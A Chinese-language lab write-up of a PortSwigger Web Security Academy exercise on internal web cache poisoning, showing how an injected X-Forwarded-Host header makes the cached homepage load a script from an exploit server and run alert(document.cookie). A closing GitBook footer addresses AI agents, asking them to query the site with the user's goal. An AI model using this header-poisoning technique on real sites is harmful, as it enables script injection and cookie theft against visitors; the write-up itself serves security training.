> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/internal-cache-poisoning.md).

# 内部缓存投毒

内部缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 内部缓存投毒

这个实验室存在 Web 缓存投毒漏洞，并使用了多个缓存层。/ 有一名用户会定期使用 Chrome 访问该网站的主页。

目标是投毒 **内部缓存** 从而使主页运行 `alert(document.cookie)` 在受害者的浏览器中。

**初始分析**

我们拦截到根路径（`/`）并使用 **Param Miner**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b63e723f9bc9b1f2723a83202cc060f99ecce3e%2F%7B45C86D99-CFCA-426B-A21B-D50AB40AE16B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**行为观察**

当我们向请求中添加以下标头时：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5c640240e894c17976e510806a3a5caed880e80%2F%7B9F7F7EF1-D66D-4743-843C-4CC01D08724A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们注意到服务器响应反映了该值。

```http
X-Forwarded-Host: test.com
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd4f7f2ec0ae3d3dd8526bde8e223d0b36c21700%2F%7BA03C2EB7-E5ED-45A7-A18B-77D763D71D8E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

但是，只有当该标头在内部请求中被保留时，这种修改才可见。

通过发送大量带有此标头的请求，服务器最终会 **缓存内部响应**.

\*\* 对缓存内容的影响\*\*

最初以如下形式加载的脚本：

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

在缓存被投毒后，会变成：

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb6603cfd57e6e6fc485f2b480d1f22793c20d38%2F%7BA417B41A-81DE-4C6C-BBD9-333A3983B323%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

脚本的来源现在取决于通过以下方式注入的值： `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

内部缓存被恶意响应投毒。/ 当受害者访问主页时，浏览器会从我们的服务器加载该脚本，从而执行：

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
